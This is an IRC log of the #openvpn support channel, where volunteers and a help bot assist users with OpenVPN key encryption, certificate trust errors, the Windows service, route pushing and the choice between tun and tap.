10:31 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
10:32 < vaq>  RESOLVE: Cannot resolve host address: 2a01:xxxxxxxx [HOST_NOT_FOUND] The specified host is unknown.
10:32 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:32 < Wintereise> cerettala_laptop, try updating the OpenVPN client to the latest version.
10:32 < Wintereise> Had the same issue here too, updating fixed it.
10:32 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
10:34 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
10:35 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:39 < bitcrusher2> hmm why does only google.com work but when I click on a link in google it fails to load?
10:40 < bitcrusher2> is it a dns problem or something
10:40 -!- vaq [~lars@vaq/unaffiliated] has quit [Remote host closed the connection]
10:48 -!- flo|va-n1-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
10:48 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Read error: Connection reset by peer]
10:48 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Read error: Operation timed out]
10:48 -!- vaq [~lars@vaq/unaffiliated] has joined #openvpn
10:48 < vaq> did anyone reply to my ipv6 question? :/
10:48 -!- APTX [APTX@unaffiliated/aptx] has quit [Read error: Operation timed out]
10:48 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
10:49 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
10:49 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 240 seconds]
10:49 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
10:50 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
10:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
10:50 -!- mode/#openvpn [+o vpnHelper] by ChanServ
10:51 < vaq> no default ipv6 support in the default packages?
10:53 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
11:01 < pekster> vaq: As of 2.3.0 IPv6 is included; prior to that you needed special packages
11:01 < pekster> patches*
11:03 < pekster> vaq: You need to use --proto udp6 (or tcp6-server or tcp6-client)
11:05 < vaq> ye
11:05 < vaq> compiled it with ipv6 now
11:13 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
11:15 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
11:15 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
11:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:22 -!- vaq [~lars@vaq/unaffiliated] has quit [Quit: leaving]
11:28 -!- MaxDamage [Damage@46.238.18.70] has joined #openvpn
11:28 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:28 < MaxDamage> Hi guys. What's the default management password when you're launching the GUI for the first time? I have no challenge password on my pki or any keys.
11:29 < MaxDamage> Actually, what was that config statement where you use the keys to authenticate, instead of a password
11:31 < cornfeedhobo> pekster: alright so you were correct, it was a centos quirk with the bridge handling yesterday. have time for another question?
11:31 < MaxDamage> I'm using the sample config http://pastebin.com/jmqsWEVt
11:32 <@ecrist> MaxDamage: there is no default password
11:32 <@ecrist> see here
11:32 <@ecrist> !howto
11:33 < MaxDamage> ecrist, I figured as much, but I've not added any challenge password when generating my keys.
11:33 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:34 < pekster> MaxDamage: The "challange password" is not the same as an the passphrase to encrypt your key
11:34 < MaxDamage> pekster, so what is the password that encrpyted my key? I'm not sure I've used any.
11:34 < MaxDamage> Sorry, encryption is not a strong suit of mine. >:
11:34 < pekster> Only you would know that (hopefully)
11:34 < MaxDamage> well I don't, apparently :>
11:35 < MaxDamage> would the unix password be used if none is provided?
11:35 < pekster> Unless you explicitly tell openssl (or Easy-RSA, if you used that) it otherwise, you get an encrypted private key
11:36 < pekster> No, it'll ask interactively
11:36 < MaxDamage> I see. Well it hasn't asked. I've got my .key and .crt files in the config dir, along with the ca.crt
11:36 < MaxDamage> I have the private key. How do I use that for auth instead of a password?
11:36 < pekster> That's what your config is attempting to do (the one you pasted)
11:36 < pekster> The password is to *decrypt* your encrypted private key
11:37 < pekster> Not to authenticate against the VPN
11:37 < MaxDamage> okay, good
11:37 < MaxDamage> got that
11:37 < MaxDamage> so if i don't know that password, or have not set it, what happens?
11:37 < pekster> You need to generate a new keypair & cert for your client
11:37 < MaxDamage> *shrug*
11:37 < MaxDamage> alrght
11:38 < pekster> Using a password is highly recommended, otherwise anyone who gained access to that key could authenticate as you (with no password needed.)
11:38 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
11:38 < pekster> Unless you use disk crypto, about 2 minutes with physical access to your computer would be enough for someone who knew what they were doing
11:39 < MaxDamage> pekster, good, alright. Is this the challenge password I'm being asked for right now?
11:40 < pekster> Just press enter; the challenge password isn't used anywhere by openssl
11:40 < pekster> It's the private key password that's responsible for encrypting the key
11:40 < MaxDamage> pekster, when I /build-key client1
11:41 < MaxDamage> The only place I'm asked for any password is the challenge password
11:41 < pekster> Ah, okay, `build-key-pass` is what gives you the password
11:42 < pekster> The first line if the key file will tell you too: if it has the word "ENCRYPTED" near the top, it's an encrypted key
11:42 < pekster> If not, it's an unencrypted key
11:42 < MaxDamage> Okay, so if I've built them with /build-key, how do I use them unencrypted?
11:42 < MaxDamage> I see, let me check
11:42 < MaxDamage> Nope, no ENCRYPTED anywhere in client1.key
11:43 < pekster> Same way; the lack of encryption on the key just means it requires the password before it can use the key
11:43 < pekster> Then you won't be prompted for a password when you connect
11:43 < MaxDamage> That's the issue, I am being prompted, lol
11:43 < pekster> Then you've done something else wrong; what happens when you start openvpn from the console on that config?
11:43 < MaxDamage> I remember the last time this happened, I had to add something to the config file...
11:43 < MaxDamage> one sec
11:45 < MaxDamage> This happens: http://pastebin.com/HUnsbFVt
11:45 < MaxDamage> wait what
11:46 < pekster> fwiw, gist.github.com or fpaste.org are better pastebin sites; pastebin.com is full of ads and annoyances
11:46 < MaxDamage> Is it? I use an adblocker so I don't see anything, alright
11:46 < pekster> The server is presenting a cert that isn't trutsed by your client
11:47 < MaxDamage> hm
11:47 < pekster> Both client & server need certs signed by the same CA; that's how they verify each other
11:47 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Quit: Nettalk6 - www.ntalk.de]
11:48 < MaxDamage> generated new ones
11:48 < pekster> You're signing them out of a single CA, right?
11:48 < MaxDamage> okay, that's all good
11:48 < MaxDamage> http://fpaste.org/21423/23517171/
11:50 < MaxDamage> it just sticks around for a while
11:50 < pekster> Check your server-side logs
11:51 < pekster> The server could be rejecting the client-presented cert too, in which case the client will just time out after 60 seconds
11:51 < MaxDamage> i see
11:51 < pekster> Both sides need to trust the certs presented to them or the authentication fails
11:51 < MaxDamage> well okay, i did ./pkitool --initca, then built server and client
11:51 < MaxDamage> moved the server to openvpn's server dir
11:51 < MaxDamage> then the client downloaded over sftp
11:52 < MaxDamage> and in the openvpn conf directory
11:52 < MaxDamage> they should be the same
11:52 < pekster> Maybe you forgot to update the CA cert on the server?
11:52 < MaxDamage> hmm
11:52 < MaxDamage> maybe
11:52 < pekster> This is why you check logs at both sides
11:53 < MaxDamage> yup, that's it
11:55 -!- MaxDamage [Damage@46.238.18.70] has quit [Read error: Connection reset by peer]
11:55 -!- MaxDamage [Damage@46.238.18.70] has joined #openvpn
11:55 -!- _lb_ [~lb@rrcs-208-105-81-40.nyc.biz.rr.com] has quit [Quit: leaving]
11:56 < MaxDamage> woops
11:56 < MaxDamage> my network fell for a moment
11:57 -!- trumee [~parul@185.11.39.22] has quit [Ping timeout: 240 seconds]
11:58 -!- trumee [~parul@93.186.144.251] has joined #openvpn
12:01 < MaxDamage> pekster, still, how do I use private keys that aren't encrypted?
12:01 < pekster> You just did
12:01 < pekster> The --key --cert and --ca options specify files
12:02 < pekster> You simply reference them
12:02 < pekster> Using encrypted key files works the same way; you're just prompted to decrypt them on use
12:02 < MaxDamage> pekster, lovely. How do I tell the config to do that? :>
12:03 < pekster> By putting the options in the config file... as described in the first couple of paragraphs in the manpage
12:03 < pekster> !man
12:03 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
12:05 < pekster> The only official frontned to openvpn is the GUI for Windows, and it won't ask for a password unless 1) your private key is encrypted or 2) you're using the --auth-user-pass directive for connecting to a server that uses user+pass authentication
12:05 < pekster> If you're unofficial GUI is messing up and asking you for one, it's misconfigured or broken (since it's apparently working for you from the console, right?)
12:05 < pekster> your*
12:05 < MaxDamage> hm
12:06 < MaxDamage> I'll ponder that for a while. Thanks, pekster
12:10 < MaxDamage> Alright, so far, so good.
12:11 < MaxDamage> I can ping my client from the server, but I can't ping the server from the client. The server has icmp ping enabled on all intf
12:12 < pekster> If you're using the VPN IPs to do the ping, the ping response shows that routing is working; that leaves your firewall
12:13 < MaxDamage> yeah, that's what baffles me
12:13 < MaxDamage> lol
12:14 -!- Poster|x is now known as Poster
12:14 < MaxDamage> it pings on the public ip, but not on the private
12:14 < MaxDamage> lol
12:15 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
12:15 < MaxDamage> never mind, it all pings now :)
12:18  * pekster points to the topic and suggests is really *is* your firewall
12:18 < MaxDamage> pekster, my Windows firewall is disabled.
12:18 < MaxDamage> And also, when I don't run the gui as admin, it doesn't find the win32 tap interface
12:18 < MaxDamage> but when I do run it as admin, it asks for that non-existent password...
12:20 < pekster> Since you haven't specified a full path to your key file, it might be referencing a different file that is encrypted
12:21 < pekster> That or it's not an openvpn prompt
12:21 < pekster> It's best to use the --cd directive if you're using relative paths to your files
12:21 < MaxDamage> It is an openvpn prompt, http://i.imgur.com/lrzIjrD.png
12:23 < MaxDamage> pekster, it does work over console, it's just that the gui is not working properly and asking me for that password.
12:23 < pekster> And what about making sure it's using the *right* file as I suggested?
12:23 < pekster> That suggests it's somehow referring to an encrypted key
12:23 < pekster> Use --cd or a full path, as I told you above
12:23 < MaxDamage> But I don't have any other keys on my system, at all.
12:24 < MaxDamage> Okay, progress in the logs, ERROR: could not read Private Key username/password/ok/string from management interface
12:24 < MaxDamage> and --cd does not work for openvpn-gui.exe
12:24 < pekster> Yes it does; I use it personally
12:24 < MaxDamage> then whats this http://fpaste.org/21438/37235388/
12:25 < pekster> It's not an openvpn-gui switch; it goes in your config, like every other directive
12:25 < pekster> !man
12:25 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
12:25 < MaxDamage> Oh, in my config
12:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:32 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has joined #openvpn
12:38 < MaxDamage> pekster, I know I'm annoying you, but this is the config I'm using - http://fpaste.org/21447/35466113/ where do i add this 'cd' option?
12:39 < pekster> Anywhere. On a line, by itself
12:39 < pekster> Like *every* other config option
12:39 < MaxDamage> I thought so and I tried, but it's still asking for the password.
12:40 < pekster> Should be something like: cd "C:\\Program Files\\OpenVPN\\config\\"
12:40 < pekster> If that's where your files are located
12:40 < pekster> Note the quotes (required for spaces in the path) and double-escaped '\' chars
12:41 < pekster> Otherwise it shouldn't be prompting for a password if your key (and --cd is being used here just to ensure it's the right one) is unencrypted. Failing that, grab the pstools 'ProcessMonitor' and see what file it's really opening?
12:42 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has left #openvpn ["Palaver http://palaverapp.com/"]
12:44 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:44 < MaxDamage> pekster, exactly. http://fpaste.org/21453/13723550/
12:45 < pekster> Yup, looks fine (you can verify it eats the directive by running it from a console again)
12:46 < pekster> I've never used an http proxy with the GUI before, but maybe that's asking for a password if you've configured one (this isn't the default)
12:48 < MaxDamage> nope, no proxy config
12:53 < MaxDamage> it doesn't require a password when i run it from console
12:53 < MaxDamage> so the keys aren't really encrypted
12:53 < MaxDamage> and since i have zero other key, crt or ca files on my system (apart from system directories)
12:54 < MaxDamage> then it shouldn't reference anything
12:56 -!- bitcrusher2 [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has quit [Quit: Leaving.]
12:56 < pekster> Works fine for me on 2.3.2
12:57 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
12:59 <@krzee> !change_passphrase
12:59 <@vpnHelper> "change_passphrase" is see http://openvpn.net/archive/openvpn-users/2005-03/msg00230.html for how to change (or add) a key's passphrase
12:59 < pekster> Yea, key is already unencrypted (console launch shows that)
12:59 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has joined #openvpn
13:01 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 246 seconds]
13:04 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
13:06 < MaxDamage> pekster, I give up with this. Is there any way to run openvpn as a service without using the windows sdk?
13:06 < pekster> !howto
13:06 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:11 < MaxDamage> pekster, that's all fine and dandy, but it doesn't start up from the services console, says the dependency service does not exist. The console doesn't even save my startup parameters...
13:11 < MaxDamage> oh, that's openvpnserv.exe
13:11 < pekster> You start it from the service manager, not by directly calling the executable
13:12 < pekster> It's a standard Windows service
13:12 < MaxDamage> yeah, but it's the server
13:12 < MaxDamage> i need to run the client as a server
13:12 < pekster> Same difference
13:12 < MaxDamage> as service*
13:12 < pekster> There is no "server" or "client" to openvpn -- it's all just "openvpn" -- your config defines what it does
13:12 < pekster> The service is, naturally, an OS service (which is, technically a "server" in the sense that it runs a program and waits for service commands
13:13 < MaxDamage> pekster, I get that, but it runs openvpnserv.exe instead of openvpn.exe
13:13 < MaxDamage> are these the same exe?
13:13 < pekster> Of course not; you can't just run an arbitrary executable as a sytem service
13:13 < pekster> System services are specially built programs that are built *as* as a service
13:13 < MaxDamage> lol yeah i can
13:14 < pekster> Nope, it needs to support the system service commands
13:14 < pekster> (hence the need to built it with the Windiows SDK)
13:14 < pekster> You can run a program *out* of a generic services wrapper, but that's not the sam ething
13:17 < pekster> https://github.com/OpenVPN/openvpn/tree/master/src/openvpnserv
13:18 <@vpnHelper> Title: openvpn/src/openvpnserv at master · OpenVPN/openvpn · GitHub (at github.com)
13:18 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
13:20 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 246 seconds]
13:21 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
13:23 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 264 seconds]
13:25 -!- flo|va-n1-pied is now known as flo|va-nu-pied
13:32 < MaxDamage> pekster, lovely, but which is the dependency service which i need to start? http://fpaste.org/21472/35790313/
13:35 -!- p3rror [~p3rror@105.158.208.33] has joined #openvpn
13:37 < pekster> No clue; go look at the service dependencies yourself in the service console manager; one of the dpendencies apparently failed to start
13:37 < pekster> That also "Works For Me" with the 2.3.2 release
13:39 -!- kubbing [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has joined #openvpn
13:39 -!- kubbing [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:40 < pekster> Some googleing before you ask every question here would be wise
13:40 < pekster> We're not here to debug Windows OS problems
13:46 -!- kubbing_ [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has joined #openvpn
13:47 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
13:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
13:58 < cornfeedhobo> hello, I am now trying to get a basic p-t-p setup and i can not seem to get the two to ping each other. https://ezcrypt.it/866n#qJeeHZ3GLvuYLdnHbuLiEwuQ
13:58 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
13:58 <@ecrist> !goal
13:58 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:58 <@ecrist> !howto
13:58 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:59 < cornfeedhobo> (i know /8 is evil, it will be address later when i can get logic through to co-workers)
14:00 < pekster> Your route command makes no sense
14:00 < cornfeedhobo> My goal is to connect two points with a static p-t-p just like you would find on the http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
14:00 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
14:00 < pekster> Neither does your use of addressing for the VPN network; don't suplicate address space used on your physical backend LANs
14:01 < pekster> You also have no 'remote' statement in either of your configs; one of them needs it
14:01 < cornfeedhobo> pekster: for p-t-p the subnet can not fall within an existing subnet?
14:01 < pekster> If it does you'll end up with problems since an IP in the "real" 10/8 can't be reached
14:01 < pekster> Don't do it
14:01 < pekster> !1918
14:01 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
14:01 < pekster> That's at least 3 pretty basic issues
14:01 < cornfeedhobo> lol i like the a]lazy link
14:02 < cornfeedhobo> lazy*
14:02 < pekster> PtP doesn't use subnets; it uses IPs to peer with
14:03 < pekster> Technically you can even use IPs in different /8's, like --ifconfnig 192.168.1.2 172.16.17.18. That's pointlessly complex, but allowed
14:03 < cornfeedhobo> the goal is to have clients on the lan segment behind location 1 to be able to directly ping clients on the lan behind location 2 without needing to tell them about the existence of the other subnet (of thats at least what i think they want me to do)
14:04 < cornfeedhobo> okay let me do some more reading before i bug you further, thanks
14:05 <@ecrist> !101
14:05 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
14:05 < pekster> And on 2nd glance, you either need unique subnets in tun mode, or bridge with tap
14:05 < pekster> Plus your 'route' statemnet makes no sense
14:05 < pekster> SO make that 5 very basic problems you have
14:06 < cornfeedhobo> pekster: the same machine is also running a tap for a bridged connection to public facing clients
14:07 < pekster> Then it's extra silly to use an IP in a completely independent network in your addressing scheme
14:08 < pekster> Pretty sure you had the exact same problem yesterday, so you apparently didn't learn much from that
14:08 < cornfeedhobo> pekster: funny, i actually solved that one and that box is working fine now ;)
14:08 < cornfeedhobo> in a /8 ;)
14:08 < pekster> My point is you don't seem to take in or understand the info you're given
14:09 < pekster> OpenVPN is not a useful tool for people who are bad at networking
14:09 < cornfeedhobo> well i do but its hard to read through the lines
14:10 < pekster> It's not about reading lines; it's about your lack of *basic* knowledge. You can't have overlapping networks. 10.25.5.1/32 is inside 10/8. Since they're in the same routing domain (ie: your RFC1918 space you plan to route between) this is a logical mistake. One a 1st semister networking student could point out
14:10 < pekster> s/One //
14:11 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:11 -!- HaxCore [~p3rror@105.158.214.189] has joined #openvpn
14:14 -!- p3rror [~p3rror@105.158.208.33] has quit [Ping timeout: 248 seconds]
14:15 <@ecrist> cornfeedhobo: don't start with a /8 - use something that's sized to fit your needs
14:15 -!- Alina-malina [Alina-mali@82.199.216.148] has quit [Read error: Connection reset by peer]
14:15 -!- Alina-malina [Alina-mali@82.199.216.148] has joined #openvpn
14:15 < cornfeedhobo> ecrist: i know i get this alot. i was hired into a situation i am trying to clean uup. i can only do so much at once. i cant even begin to explain
14:15 < cornfeedhobo> but yes, i agree and i am headed that direction
14:19 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
14:25 -!- kubbing_ [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:26 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 252 seconds]
14:26 < Neal_> how do i not forward my traffic to the openvpn server? (client/server both debian 7)
14:27 < Neal_> all i do on the client is `openvpn --config client.conf`
14:27 < cornfeedhobo> Neal_: not forward?
14:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:28 < Neal_> after i connect, all my traffic goes through the openvpn server
14:28 <@ecrist> --no-pull
14:28 <@ecrist> then you need to manually add the routes you want
14:29 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
14:29 < Neal_> i just want vpn for tunnels
14:29 < pekster> Or optionally not pushing the --redirect-gateway feature to that client
14:29 < Neal_> between my servers
14:29 <@ecrist> are you the admin?
14:29 < Neal_> yes
14:29 < pekster> Oh, btw, we have a factoid for that now:
14:29 < pekster> !nopull
14:29 <@vpnHelper> "nopull" is "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
14:29 <@ecrist> do you have a push "route def 1"
14:30 < Neal_> server or client?
14:30 <@ecrist> or similar in the server?
14:30 < Neal_> nope
14:31 < Neal_> don't have that in either one
14:31 <@ecrist> !configs
14:31 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:32 < Neal_> http://pastie.org/private/oo5xkecmrmft0zma17yxyg
14:33 <@ecrist> derp
14:33 <@ecrist> see line 11 of the server.conf
14:33 < Neal_> what does that do?
14:33 <@ecrist> your server is pushing a route that overrides the client default gateway
14:33 <@ecrist> remove that line
14:33 -!- michaelhart [~michaelha@162.209.54.120] has quit [Read error: Connection reset by peer]
14:34 < Neal_> but then would i be able to forward my traffic from other client?
14:34 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
14:34 <@ecrist> what do you mean?
14:34 <@ecrist> you only want to route ALL traffic from one client?
14:35 < Neal_> well, a couple of them, yes
14:35 < Neal_> so nopull in cilents i don't want sounds best, right?
14:35 <@ecrist> then you need to do either a client config on the server, or add the line --redirect-gateway def1 bypass-dhcp to each of those clients
14:36 <@ecrist> what I would do is put that line in a ccd file called DEFAULT, then add ccd files that are empty for each of the server links
14:36 <@ecrist> that way, by default, clients get the redirect, unless you specifically add blank ccd entries, which prevents them from getting the directive
14:37 < Neal_> !ccd
14:37 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
14:38 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 246 seconds]
14:44 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 252 seconds]
14:47 -!- Etale [~moi@2601:1:2000:7a:2677:3ff:fe6f:90d8] has joined #openvpn
14:48 < Etale> !welcome
14:48 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:48 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:48 -!- stairmast0r [nobody@unaffiliated/stairmast0r] has joined #openvpn
14:49 < Neal_> ecrist: that worked, thanks!
14:49 < stairmast0r> are there any web resources that can teach me about VPNs?  i'm trying to set up openvpn, but i'm lost...
14:49 <@ecrist> Neal_: np
14:49 <@ecrist> stairmast0r: google?
14:49 < Etale> Hey guys, I'm pretty confused about how to use vpn. I have Ubuntu (but not Network Manager; I use wicd). I have openvpn installed, and I did all of the instructions in http://www.openlogic.com/wazi/bid/188052/From-Zero-to-OpenVPN-in-30-Minutes
14:49 <@vpnHelper> Title: From Zero to OpenVPN in 30 Minutes (at www.openlogic.com)
14:50 < Etale> I have an ovpn file.
14:50 < pekster> Use the official howto, not unofficial ones:
14:50 < pekster> !howto
14:50 < Etale> I don't really understand what to do now...
14:50 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:50 < stairmast0r> ecrist: it helps to know what i'm looking for with google
14:50 < pekster> Also note that you'll find little love/help for unofficial GUIs here (including but not limited to networkmanager, wicd, whatever KDE ships with, etc)
14:51 < pekster> !gui
14:51 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
14:51 <@ecrist> stairmast0r: start here
14:51 < Etale> When I run "openvpn --config blahblah.ovpn" it seems to be working, but I can't access any website, and www.google.com doesn't ping.
14:51 <@ecrist> !goal
14:51 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:51 < Etale> !goal
14:51 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:52 < Etale> Goal: I would like to try to access a vpn whose details I can know via vpngate.
14:52 < stairmast0r> ecrist: i would like to bring other PCs into my LAN temporarily, for instances where direct connections over the internet will not work
14:52 < stairmast0r> eg. lan games
14:53 < Etale> In particular, as I said, I have a ".ovpn" file.
14:53 < stairmast0r> i have a server running with openvpn just installed, but i'm stopped there
14:53 < stairmast0r> /usr/share/openvpn/ does not exist
14:53 < pekster> Etale: Sounds like you don't admin the server? To get help here you really need control of both ends of the configuration; redirecting traffic, for instance, is a complex balance of both ends
14:53 < pekster> !both
14:53 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
14:54 < pekster> stairmast0r: Start with the howto, and then see !serverlan for exposing your server-side LAN
14:54 < stairmast0r> pekster: http://openvpn.net/index.php/open-source/documentation/howto.html?
14:54 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:54 < stairmast0r> !serverlan
14:54 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
14:54 < Etale> pekster, it was my understanding that the purpose of vpngate is that there are volunteers around the world who give access to their vpns. How would that work if I need a priori access to their computers?
14:55 < pekster> stairmast0r: Also note that depending on what protocols your games use, you should consider if tun or tap makes more sense; tap is required if you wish to pass broadcast traffic (some games use subnet-local broadcast for "game discovery" or "lobby" features)
14:55 < pekster> I use a tun VPN for games fine, but the "discover games on my LAN" feature won't work -- I just use the IP to connect
14:56 < stairmast0r> pekster: is there a reason to not use tap?
14:56 < pekster> Etale: You misunderstand: to get help *here* you need to control both ends of the connection. We can't possibly know by magic how the remote end is set up
14:56 < Etale> Oh, I see.
14:56 < pekster> stairmast0r,
14:56 < pekster> !tunortap
14:56 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:56 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:57 < pekster> tap is also more complex to set up since you need to create a bridge, and that's specific to your OS
14:57 < stairmast0r> ah..
14:57 < stairmast0r> so tun it is
14:57 < pekster> Well, you *could* use tap without a bridge if all systems, including those on the LAN you want to access, connect to the VPN server
14:58 < pekster> Then you'd have a completely virtual LAN that's not routed from your physical LAN
14:58 < stairmast0r> this would be safer?
14:59 < pekster> Depends on what you mean; it would prevent remote clients from having direct Ethernet-layer access to your LAN
14:59 < pekster> (of course, any machine on the VPN would have that access between the lot of systems connected anyway)
14:59 < stairmast0r> hm
14:59 < pekster> You should really be firewalling your hosts regardless, but that's outside the scope of openvpn
15:00 < pekster> The "firewall on the router and none elsewhere" is like M&M security: a hard shell, but soft chocolate
15:00 -!- bitcrusher [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has joined #openvpn
15:00 -!- HaxCore [~p3rror@105.158.214.189] has left #openvpn ["Leaving"]
15:00 < stairmast0r> what about the overhead mentioned above?
